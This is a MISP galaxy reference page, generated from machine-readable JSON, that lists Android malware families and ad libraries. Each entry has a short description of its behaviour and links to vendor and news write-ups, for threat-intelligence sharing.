Introduction
The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.
MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten, replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the MISP galaxy.
Funding and Support
The MISP project is financially and resource supported by CIRCL Computer Incident Response Center Luxembourg .
A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as Improving MISP as building blocks for next-generation information sharing.
If you are interested to co-fund projects around MISP, feel free to get in touch with us.
MISP galaxy
Android
Android malware galaxy based on multiple open sources..
Android is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
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Unknown
CopyCat
CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.
Links |
Andr/Dropr-FH
Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.
Andr/Dropr-FH is also known as:
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GhostCtrl
Links |
Judy
The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.
Links |
RedAlert2
The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user’s credentials and sends them to its C&C server.
Links |
https://www.bleepingcomputer.com/news/security/researchers-discover-new-android-banking-trojan/ |
Tizi
Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.
Links |
https://security.googleblog.com/2017/11/tizi-detecting-and-blocking-socially.html |
DoubleLocker
DoubleLocker can change the device’s PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.
Links |
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/ |
Svpeng
Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.
Svpeng is also known as:
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Invisble Man
Links |
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/ |
https://www.theregister.co.uk/2017/08/02/banking_android_malware_in_uk/ |
LokiBot
LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.
Links |
https://clientsidedetection.com/lokibot_the_first_hybrid_android_malware.html[https://clientsidedetection.com/lokibot_the_first_hybrid_android_malware.html] |
BankBot
The main goal of this malware is to steal banking credentials from the victim’s device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.
Links |
https://blog.fortinet.com/2017/09/19/a-look-into-the-new-strain-of-bankbot |
Viking Horde
In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.
Links |
http://www.alwayson-network.com/worst-types-android-malware-2016/ |
HummingBad
A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.
Links |
http://www.alwayson-network.com/worst-types-android-malware-2016/ |
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf |
Ackposts
Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99 |
Wirex
Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.
WannaLocker
WannaLocker is a strain of ransomware for Android devices that encrypts files on the device’s external storage and demands a payment to decrypt them.
Links |
https://fossbytes.com/wannalocker-ransomware-wannacry-android/ |
Switcher
Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router’s admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.
Links |
https://www.theregister.co.uk/2017/01/03/android_trojan_targets_routers/ |
https://www.symantec.com/security_response/writeup.jsp?docid=2017-090410-0547-99 |
Vibleaker
Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user’s phone for the Viber app, and then steal photos and videos recorded or sent through the app.
Links |
http://news.softpedia.com/news/malicious-android-app-steals-viber-photos-and-videos-505758.shtml |
ExpensiveWall
ExpensiveWall is Android malware that sends fraudulent premium SMS messages and charges users accounts for fake services without their knowledge
Links |
Cepsohord
Cepsohord is a Trojan horse for Android devices that uses compromised devices to commit click fraud, modify DNS settings, randomly delete essential files, and download additional malware such as ransomware.
Links |
https://www.cyber.nj.gov/threat-profiles/android-malware-variants/cepsohord |
Fakem Rat
Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).
GM Bot
GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.
GM Bot is also known as:
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Acecard
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SlemBunk
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Bankosy
Links |
https://blog.avast.com/android-trojan-gm-bot-is-evolving-and-targeting-more-than-50-banks-worldwide |
Moplus
The Wormhole vulnerability in the Moplus SDK could be exploited by hackers to open an unsecured and unauthenticated HTTP server connection on the user’s device, and this connection is established in the background without the user’s knowledge.
Links |
http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html |
Adwind
Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.
Adwind is also known as:
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AlienSpy
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Frutas
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Unrecom
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Sockrat
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Jsocket
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jRat
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Backdoor:Java/Adwind
Links |
AdSms
Adsms is a Trojan horse that may send SMS messages from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051313-4039-99 |
Airpush
Airpush is a very aggresive Ad - Network
Airpush is also known as:
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StopSMS
Links |
https://crypto.stanford.edu/cs155old/cs155-spring16/lectures/18-mobile-malware.pdf |
BeanBot
BeanBot forwards device’s data to a remote server and sends out premium-rate SMS messages from the infected device.
Links |
https://www.f-secure.com/v-descs/trojan_android_beanbot.shtml |
Kemoge
Kemoge is adware that disguises itself as popular apps via repackaging, then allows for a complete takeover of the users Android device.
Links |
https://www.fireeye.com/blog/threat-research/2015/10/kemoge_another_mobi.html |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-101207-3555-99 |
Ghost Push
Ghost Push is a family of malware that infects the Android OS by automatically gaining root access, downloading malicious software, masquerading as a system app, and then losing root access, which then makes it virtually impossible to remove the infection even by factory reset unless the firmware is reflashed.
Links |
https://blog.avast.com/how-to-protect-your-android-device-from-ghost-push |
BeNews
The BeNews app is a backdoor app that uses the name of defunct news site BeNews to appear legitimate. After installation it bypasses restrictions and downloads additional threats to the compromised device.
Links |
Accstealer
Accstealer is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012711-1159-99 |
Acnetdoor
Acnetdoor is a detection for Trojan horses on the Android platform that open a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051611-4258-99 |
Acnetsteal
Acnetsteal is a detection for Trojan horses on the Android platform that steal information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051612-0505-99 |
Actech
Actech is a Trojan horse for Android devices that steals information and sends it to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080111-3948-99 |
AdChina
AdChina is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-2947-99 |
Adfonic
Adfonic is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052615-0024-99 |
AdInfo
AdInfo is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2433-99 |
Adknowledge
Adknowledge is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-1033-99 |
AdMarvel
AdMarvel is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-2450-99 |
AdMob
AdMob is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-3437-99 |
Adrd
Adrd is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-021514-4954-99 |
Aduru
Aduru is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-2419-99 |
Adwhirl
Adwhirl is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1414-99 |
Adwlauncher
Adwlauncher is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082308-1823-99 |
Adwo
Adwo is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-5806-99 |
Airad
Airad is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-1704-99 |
Alienspy
Alienspy is a Trojan horse for Android devices that steals information from the compromised device. It may also download potentially malicious files.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-042714-5942-99 |
AmazonAds
AmazonAds is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-5002-99 |
Answerbot
Answerbot is a Trojan horse that opens a back door on Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-100711-2129-99 |
Antammi
Antammi is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032106-5211-99 |
Apkmore
Apkmore is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-4813-99 |
Aplog
Aplog is a Trojan horse for Android devices that steals information from the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100911-1023-99 |
Appenda
Appenda is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062812-0516-99 |
Apperhand
Apperhand is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5637-99 |
Appleservice
Appleservice is a Trojan horse for Android devices that may steal information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031011-4321-99 |
AppLovin
AppLovin is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-1739-99 |
Arspam
Arspam is a Trojan horse for Android devices that sends spam SMS messages to contacts on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121915-3251-99 |
Aurecord
Aurecord is a spyware application for Android devices that allows the device it is installed on to be monitored.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-2310-99 |
Backapp
Backapp is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092708-5017-99 |
Backdexer
Backdexer is a Trojan horse for Android devices that may send premium-rate SMS messages from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121812-2502-99 |
Backflash
Backflash is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091714-0427-99 |
Backscript
Backscript is a Trojan horse for Android devices that downloads files onto the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090704-3639-99 |
Badaccents
Badaccents is a Trojan horse for Android devices that may download apps on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-123015-3618-99 |
Badpush
Badpush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-4133-99 |
Ballonpop
Ballonpop is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120911-1731-99 |
Bankosy
Bankosy is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072316-5249-99 |
Bankun
Bankun is a Trojan horse for Android devices that replaces certain banking applications on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072318-4143-99 |
Basebridge
Basebridge is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060915-4938-99 |
Basedao
Basedao is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061715-3303-99 |
Batterydoctor
Batterydoctor is Trojan that makes exaggerated claims about the device’s ability to recharge the battery, as well as steal information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101916-0847-99 |
Beaglespy
Beaglespy is an Android mobile detection for the Beagle spyware program as well as its associated client application.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091010-0627-99 |
Becuro
Becuro is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051410-3348-99 |
Beita
Beita is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-110111-1829-99 |
Bgserv
Bgserv is a Trojan that opens a back door and transmits information from the device to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-031005-2918-99 |
Biigespy
Biigespy is an Android mobile detection for the Biige spyware program as well as its associated client application.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091012-0526-99 |
Bmaster
Bmaster is a Trojan horse on the Android platform that opens a back door, downloads files and steals potentially confidential information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-020609-3003-99 |
Bossefiv
Bossefiv is a Trojan horse for Android devices that steals information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-061520-4322-99 |
Boxpush
Boxpush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-4613-99 |
Burstly
Burstly is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1443-99 |
Buzzcity
Buzzcity is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1454-99 |
ByPush
ByPush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4708-99 |
Cajino
Cajino is a Trojan horse for Android devices that opens a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-040210-3746-99 |
Casee
Casee is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3501-99 |
Catchtoken
Catchtoken is a Trojan horse for Android devices that intercepts SMS messages and opens a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121619-0548-99 |
Cauly
Cauly is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3454-99 |
Cellshark
Cellshark is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111611-0914-99 |
Centero
Centero is a Trojan horse for Android devices that displays advertisements on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-053006-2502-99 |
Chuli
Chuli is a Trojan horse for Android devices that opens a back door and may steal information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032617-1604-99 |
Citmo
Citmo is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-5012-99 |
Claco
Claco is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-020415-5600-99 |
Clevernet
Clevernet is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-5257-99 |
Cnappbox
Cnappbox is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-1141-99 |
Cobblerone
Cobblerone is a spyware application for Android devices that can track the phone’s location and remotely erase the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111514-3846-99 |
Coolpaperleak
Coolpaperleak is a Trojan horse for Android devices that steals information and sends it to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080211-5757-99 |
Coolreaper
Coolreaper is a Trojan horse for Android devices that opens a back door on the compromised device. It may also steal information and download potentially malicious files.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-011220-3211-99 |
Cosha
Cosha is a spyware program for Android devices that monitors and sends certain information to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081712-5231-99 |
Counterclank
Counterclank is a Trojan horse for Android devices that steals information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-4046-99 |
Crazymedia
Crazymedia is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-2547-99 |
Crisis
Crisis is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-071409-0636-99 |
Crusewind
Crusewind is a Trojan horse for Android devices that sends SMS messages to a premium-rate number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070301-5702-99 |
Dandro
Dandro is a Trojan horse for Android devices that allows a remote attacker to gain control over the device and steal information from it.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012916-2128-99 |
Daoyoudao
Daoyoudao is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040214-5018-99 |
Deathring
Deathring is a Trojan horse for Android devices that may perform malicious activities on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121116-4547-99 |
Deeveemap
Deeveemap is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2017-060907-5221-99 |
Dendoroid
Dendoroid is a Trojan horse for Android devices that opens a back door, steals information, and may perform other malicious activities on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030418-2633-99 |
Dengaru
Dengaru is a Trojan horse for Android devices that performs click-fraud from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051113-4819-99 |
Diandong
Diandong is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-2453-99 |
Dianjin
Dianjin is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-0313-99 |
Dogowar
Dogowar is a Trojan horse on the Android platform that sends SMS texts to all contacts on the device. It is a repackaged version of a game application called Dog Wars, which can be downloaded from a third party market and must be manually installed.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-081510-4323-99 |
Domob
Domob is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-4235-99 |
Dougalek
Dougalek is a Trojan horse for Android devices that steals information from the compromised device. The threat is typically disguised to display a video.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041601-3400-99 |
Dowgin
Dowgin is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033108-4723-99 |
Droidsheep
Droidsheep is a hacktool for Android devices that hijacks social networking accounts on compromised devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031014-3628-99 |
Dropdialer
Dropdialer is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070909-0726-99 |
Dupvert
Dupvert is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. It may also perform other malicious activities.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072313-1959-99 |
Dynamicit
Dynamicit is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-1346-99 |
Ecardgrabber
Ecardgrabber is an application that attempts to read details from NFC enabled credit cards. It attempts to read information from NFC enabled credit cards that are in close proximity.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062215-0939-99 |
Ecobatry
Ecobatry is a Trojan horse for Android devices that steals information and sends it to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080606-4102-99 |
Enesoluty
Enesoluty is a Trojan horse for Android devices that steals information and sends it to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090607-0807-99 |
Everbadge
Everbadge is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-3736-99 |
Ewalls
Ewalls is a Trojan horse for the Android operating system that steals information from the mobile device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2010-073014-0854-99 |
Exprespam
Exprespam is a Trojan horse for Android devices that displays a fake message and steals personal information stored on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-010705-2324-99 |
Fakealbums
Fakealbums is a Trojan horse for Android devices that monitors and forwards received messages from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071819-0636-99 |
Fakeangry
Fakeangry is a Trojan horse on the Android platform that opens a back door, downloads files, and steals potentially confidential information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022823-4233-99 |
Fakeapp
Fakeapp is a Trojan horse for Android devices that downloads configuration files to display advertisements and collects information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022805-4318-99 |
Fakebanco
Fakebanco is a Trojan horse for Android devices that redirects users to a phishing page in order to steal their information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112109-5329-99 |
Fakebank
Fakebank is a Trojan horse that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071813-2448-99 |
Fakebank.B
Fakebank.B is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-101114-5645-99 |
Fakebok
Fakebok is a Trojan horse for Android devices that sends SMS messages to premium phone numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021115-5153-99 |
Fakedaum
Fakedaum is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061813-3630-99 |
Fakedefender
Fakedefender is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060301-4418-99 |
Fakedefender.B
Fakedefender.B is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091013-3953-99 |
Fakedown
Fakedown is a Trojan horse for Android devices that downloads more malicious apps onto the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-041803-5918-99 |
Fakeflash
Fakeflash is a Trojan horse for Android devices that installs a fake Flash application in order to direct users to a website.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070318-2122-99 |
Fakegame
Fakegame is a Trojan horse for Android devices that displays advertisements and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040808-2922-99 |
Fakeguard
Fakeguard is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102908-3526-99 |
Fakejob
Fakejob is a Trojan horse for Android devices that redirects users to scam websites.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030721-3048-99 |
Fakekakao
Fakekakao is a Trojan horse for Android devices sends SMS messages to contacts stored on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071617-2031-99 |
Fakelemon
Fakelemon is a Trojan horse for Android devices that blocks certain SMS messages and may subscribe to services without the user’s consent.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120609-3608-99 |
Fakelicense
Fakelicense is a Trojan horse that displays advertisements on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062709-1437-99 |
Fakelogin
Fakelogin is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-102108-5457-99 |
FakeLookout
FakeLookout is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-101919-2128-99 |
FakeMart
FakeMart is a Trojan horse for Android devices that may send SMS messages to premium rate numbers. It may also block incoming messages and steal information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081217-1428-99 |
Fakemini
Fakemini is a Trojan horse for Android devices that disguises itself as an installation for the Opera Mini browser and sends premium-rate SMS messages to a predetermined number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-110410-5958-99 |
Fakemrat
Fakemrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99 |
Fakeneflic
Fakeneflic is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101105-0518-99 |
Fakenotify
Fakenotify is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers, collects and sends information, and periodically displays Web pages. It also downloads legitimate apps onto the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011302-3052-99 |
Fakepatch
Fakepatch is a Trojan horse for Android devices that downloads more files on to the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062811-2820-99 |
Fakeplay
Fakeplay is a Trojan horse for Android devices that steals information from the compromised device and sends it to a predetermined email address.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100917-3825-99 |
Fakescarav
Fakescarav is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to pay in order to remove non-existent malware or security risks from the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012809-1901-99 |
Fakesecsuit
Fakesecsuit is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060514-1301-99 |
Fakesucon
Fakesucon is a Trojan horse program for Android devices that sends SMS messages to premium-rate phone numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-120915-2524-99 |
Faketaobao
Faketaobao is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062518-4057-99 |
Faketaobao.B
Faketaobao.B is a Trojan horse for Android devices that intercepts and and sends incoming SMS messages to a remote attacker.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012106-4013-99 |
Faketoken
Faketoken is a Trojan horse that opens a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032211-2048-99 |
http://bgr.com/2017/08/18/android-malware-faketoken-steal-credit-card-info/ |
Fakeupdate
Fakeupdate is a Trojan horse for Android devices that downloads other applications onto the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081914-5637-99 |
Fakevoice
Fakevoice is a Trojan horse for Android devices that dials a premium-rate phone number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040510-3249-99 |
Farmbaby
Farmbaby is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090715-3641-99 |
Fauxtocopy
Fauxtocopy is a spyware application for Android devices that gathers photos from the device and sends them to a predetermined email address.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111515-3940-99 |
Feiwo
Feiwo is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-4038-99 |
FindAndCall
FindAndCall is a Potentially Unwanted Application for Android devices that may leak information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-2906-99 |
Finfish
Finfish is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-083016-0032-99 |
Fireleaker
Fireleaker is a Trojan horse for Android devices that steals information from the compromised device.
Links |
